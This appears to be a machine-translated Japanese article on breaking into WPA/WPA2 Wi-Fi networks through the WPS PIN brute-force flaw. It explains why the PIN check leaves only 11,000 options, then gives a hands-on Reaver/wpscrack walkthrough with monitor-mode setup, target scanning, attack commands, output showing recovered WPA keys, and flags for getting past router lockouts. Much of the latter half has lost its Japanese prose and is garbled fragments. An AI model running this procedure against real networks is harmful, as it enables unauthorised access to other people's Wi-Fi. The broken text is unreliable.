10時間でWi-Fiをハックする

少し前までは、WPA2テクノロジーで保護されたワイヤレスネットワークは完全に安全であると思われていました。 接続する簡単なキーを見つけることは本当に可能です。 しかし、本当に長いキーをインストールした場合、レインボーテーブルも、GPUによる加速も、それを実現するのに役立ちません。 しかし、判明したように、最近発見されたWPSプロトコルの脆弱性を使用して、ワイヤレスネットワークに接続できます。









簡素化の価格



接続するためにキーを入力する必要のないオープンアクセスポイントは、ますます少なくなっています。 それらはすぐにレッドブックに掲載されるようです。 ワイヤレスネットワークがキーで閉じられ、外部の接続から自分自身を保護できることさえ知らない場合は、この可能性について次第に知らされています。 セットアップを簡素化するために、少なくとも人気のあるルーターモデルの主要なプロバイダーによってリリースされたカスタムファームウェアを使用してください。 2つのことを指定する必要があります-ワイヤレスネットワークを保護するためのログイン/パスワードおよび...キー。 さらに重要なことは、機器メーカー自身がセットアッププロセスを簡単にすることです。 そのため、最新のルーターのほとんどはWPS(Wi-Fi Protected Setup)メカニズムをサポートしています。 これにより、ユーザーは「暗号化を有効にしてWPAキーを登録する必要がある」という事実に煩わされることなく、数秒で安全なワイヤレスネットワークをセットアップできます。 システムに8桁の文字のPINを入力しました。これはルーターに書き込まれています-これで完了です! そして、ここで、しっかり握ってください。 12月、2人の研究者がすぐにWPSプロトコルの重大な根本的なギャップについて話しました。 これは、ルーターのバックドアのようなものです。 アクセスポイントでWPSがアクティブになっている場合(しばらくの間、ほとんどのルーターでデフォルトで有効になっている場合)、接続用のPINを選択して、数時間で接続用のキーを削除できることがわかりました!



WPSはどのように機能しますか?



WPSの作成者のアイデアは素晴らしいです。 このメカニズムは、ネットワーク名と暗号化を自動的に設定します。 したがって、ユーザーはWebインターフェイスに移動して複雑な設定を処理する必要はありません。 また、既に構成されているネットワークに、任意のデバイス(ラップトップなど)を簡単に追加できます。PINを正しく入力すると、必要なすべての設定を受け取ります。 これは非常に便利なため、市場のすべての主要プレーヤー(Cisco / Linksys、Netgear、D-Link、Belkin、Buffalo、ZyXEL)がWPSをサポートするワイヤレスルーターを提供しています。 よく見てみましょう。

WPSを使用するには3つの方法があります。

  1. プッシュボタン接続(PBC) 。 ユーザーがルーター(ハードウェア)とコンピューター(ソフトウェア)の特別なボタンを押すと、構成プロセスがアクティブになります。 興味はありません。
  2. ウェブインターフェースでPINコードを入力する:ユーザーはブラウザからルーターの管理インターフェースに入り、デバイスのケースに書かれた8桁のPINコードを入力します(図1)。その後、設定プロセスが行われます。 この方法は、ルーターの初期構成により適しているため、考慮しません。
    図1.ルーターのケースに書かれたWPS PINコード
  3. ユーザーのコンピューターでPINコードを入力します (図2)。

    ルーターに接続するとき、特別なWPSセッションを開くことができます。このセッション内で、PINコードを正しく入力すると、ルーターを構成したり、既存の設定を取得したりできます。 これはすでに魅力的です。 そのようなセッションを開くために認証は必要ありません。 誰でもできる! PINコードは、すでにブルートフォースのような攻撃の影響を受けやすい可能性があります。 しかし、これらは単なる花です。
    図2. WPS PINコードを入力するためのウィンドウ




脆弱性



前述したように、PINコードは8桁で構成されているため、10 ^ 8(100,000,000)の選択オプションがあります。 ただし、オプションの数は大幅に削減できます。 実際、PINコードの最後の桁は特定のチェックサムを表し、最初の7桁に基づいて計算されます。 その結果、すでに10 ^ 7(10,000,000)のオプションがあります。 しかし、それだけではありません! 次に、WPS認証プロトコルのデバイスを注意深く調べます(図3)。 総当たりの機会を残すために特別に設計されたようです。 PINコードの確認は2段階で実行されることがわかります。 2つの等しい部分に分割され、各部分は個別にチェックされます!

図3. WPS認証プロトコル


図を見てみましょう:

  1. M4メッセージを送信した後、攻撃者が応答でEAP-NACKを受信した場合、PINコードの最初の部分が間違っていることを確認できます。
  2. M6を送信した後にEAP-NACKを受信した場合、それに応じて、PINコードの2番目の部分は正しくありません。 前半には10 ^ 4(10,000)、後半には10 ^ 3(1,000)のオプションがあります。 その結果、完全な検索には11,000のオプションしかありません。 これがどのように機能するかをよりよく理解するには、図を見てください。
  3. 重要なポイントは、検索の可能な速度です。 WPS要求を処理するルーターの速度によって制限されます。一部のアクセスポイントは1秒ごとに結果を生成し、他のアクセスポイントは10秒ごとに生成します。 メイン時間は、Diffie-Hellmanアルゴリズムに従って公開キーを計算するために費やされます。これは、ステップM3の前に生成する必要があります。 これに費やされる時間は、クライアント側で単純な秘密鍵を選択することで短縮できます。これにより、他の鍵の計算がさらに簡単になります。 成功した結果を得るには、通常、すべてのオプションの半分だけを整理するだけで十分であり、平均してブルートフォースにかかる時間はわずか4〜10時間であることを実践が示しています。


図4. WPS PINブルートフォースブロック図




最初の実装



wpscrack, Python. Scapy, . Linux-, . , MAC- , MAC- (SSID).



$ ./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v

sniffer started

trying 00000000

attempt took 0.95 seconds

trying 00010009

<...>

trying 18660005

attempt took 1.08 seconds

trying 18670004 # found 1st half of PIN

attempt took 1.09 seconds

trying 18670011

attempt took 1.08 seconds

<...>

trying 18674095 # found 2st half of PIN

<...>

Network Key:

0000 72 65 61 6C 6C 79 5F 72 65 61 6C 6C 79 5F 6C 6F really_really_lo

0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 ng_wpa_passphras

0020 65 5F 67 6F 6F 64 6F 6C 75 63 6B 5F 63 72 61 63 e_good_luck_crac

0030 6B 69 6E 67 5F 74 68 69 73 5F 6F 6E 65 king_this_one

<...>








, PIN-, — , . , , (61 ) . , wpscrack , : — Tactical Network Solutions. , PoC , Reaver. WPS-PIN PSK-, , . . , WPS .



HOW-TO



, Linux. , Reaver BackTrack, . .



0.

BackTrack 5 R1 VMware ISO. . , UNetbootin : , , , .



1.

– root:toor. , «» ( BackTrack — GNOME, KDE):



$ startx







2. Reaver

Reaver, . ( «Applications > Internet > Wicd Network Manager»). , :



$ apt-get update

$ apt-get install reaver








, 1.3, . , , , , SVN. , , ( ).



$ svn checkout reaver-wps.googlecode.com/svn/trunk reaver-wps

$ cd ./reaver-wps/src/

$ ./configure

$ make

$ make install








BackTrack — . Arch Linux, , , PKGBUILD':



$ yaourt -S reaver-wps-svn







5. c Reaver




3.

Reaver :





, :



$ iwconfig







( wlan0) – , ( , Reaver, ). :



$ airmon-ng start wlan0







, ( mon0). BSSID. airodump-ng:



$ airodump-ng mon0







. WPA/WPA2 PSK. , . , — kismet, . , WPS. Reaver ( SVN) wash:



$ ./wash -i mon0







, . '-f' .cap , , , airodump-ng. Reaver BackTrack wash. , .



4.

PIN’. Reaver . ( ) BSSID :



$ reaver -i mon0 -b 00:21:29:74:67:50 -vv







"-vv" , , .



Reaver v1.4 WiFi Protected Setup Attack Tool

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 00:21:29:74:67:50

[+] Associated with 00:21:29:74:67:50 (ESSID: linksys)

[+] Trying pin 63979978








PIN’ , , , . . , PIN, . , :



[+] Trying pin 64637129

[+] Key cracked in 13654 seconds

[+] WPS PIN: '64637129'

[+] WPA PSK: 'MyH0rseThink$YouStol3HisCarrot!'

[+] AP SSID: 'linksys'








— , , WPA-PSK, . , .



6. Reaver Pro — Reaver




?



— WPS . , , . , , , , . , , – . , WPS PIN-, 90 . , , ?




Reaver



HOWTO Reaver. WPS , . , .

  1. SSID :

    # reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys



  2. '--dh-small', , :

    # reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small



  3. . :

    # reaver -i mon0 -b 00:01:02:03:04:05 -t 2



  4. . :

    # reaver -i mon0 -b 00:01:02:03:04:05 -d 0



  5. WPS , , . Reaver 315 , :

    # reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250



  6. WPS PIN-, . Reaver , '--nack':

    # reaver -i mon0 -b 00:01:02:03:04:05 --nack



  7. '--eap-terminate' , WPS- EAP FAIL:

    # reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate



  8. WPS- , PIN-, . . Reaver , '--fail-wait':

    # reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360








FAQ



: ?

: , , . — Aircrack-ng (bit.ly/wifi_adapter_list). , , RTL8187L. USB’ 20$.



: «timeout» «out of order»?

: - . , WPS.



: MAC-?

: , MAC mon0, . , , wlan0.



: Reaver , WEP ?

: WEP , (IV), . , - , - . WPS Reaver PIN-. - , , WPS-. WPS . , , , . ALFA Network dBi, , .



: Reaver PIN, ?

: , WPS. wash: , .



: ?

: - , .



: «rate limiting detected»?

: , WPS. ( ), ( ). Reaver 1.3, - . '--ignore-locks' SVN.



: Reaver ?

: , , , , .




- Wi-Fi



  1. WEP (Wired Equivalent Privacy). . , RC4. airodump-ng aircrack-ng, . wesside-ng, WEP .
  2. WPA/WPA2 (Wireless Protected Access). — WPA/WPA2 ( WPA Handshake, ). , . , , , NVIDIA CUDA ATI Stream GPU. — aircrack-ng ( ), cowpatty ( ), pyrit ( ).




image

, (03) 158

: pkruglov (ivinside.blogspot.com)




.



«»








All Articles